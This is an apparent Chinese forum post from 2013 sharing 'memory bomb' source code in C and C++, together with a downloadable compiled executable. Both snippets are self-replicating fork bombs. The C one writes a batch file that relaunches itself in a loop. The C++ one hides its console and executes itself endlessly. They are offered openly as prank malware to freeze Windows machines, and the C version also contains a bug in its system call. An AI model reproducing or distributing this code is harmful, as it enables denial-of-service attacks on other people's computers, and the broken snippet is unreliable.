本帖最后由 向往青莲 于 2013-4-5 21:30 编辑
来了 内存炸弹源码 你懂得
附件中是编译后的可执行文件(谨慎点击)
内存炸弹.zip
(67.5 KB, 下载次数: 0)
C语言版:#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<windows.h>/*调用system函数*/
void main()
{
FILE *fp;
char fname[32]="c:\\bomb";/*文件名*/
strcat(fname,".bat");
fp=fopen(fname,"w+");
if(!fp)
{
printf("创建文件失败!\n");
getchar();
exit(0);
}
fprintf(fp,"%s",":main\nstart %0\ngoto main");/*写入文件*/
fclose(fp);
system("fname");
return;
}
C++版本#include <windows.h> // 包含MessageBox函数声明的头文件
#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")//隐藏控制台
void main(int argc, char* argv[])
{
char cur[256];
int dirsize = 256;
int ii;
ii = GetModuleFileName(NULL, cur, dirsize);//得到自身程序的完整路径,保存在cur中
cur[ii] = 0;//字符串末尾为‘/0’
while(1)/*死循环*/
{
ShellExecute(NULL,"open",cur,NULL,NULL,SW_SHOWNORMAL); /*执行自身*/
}
return ;
}
|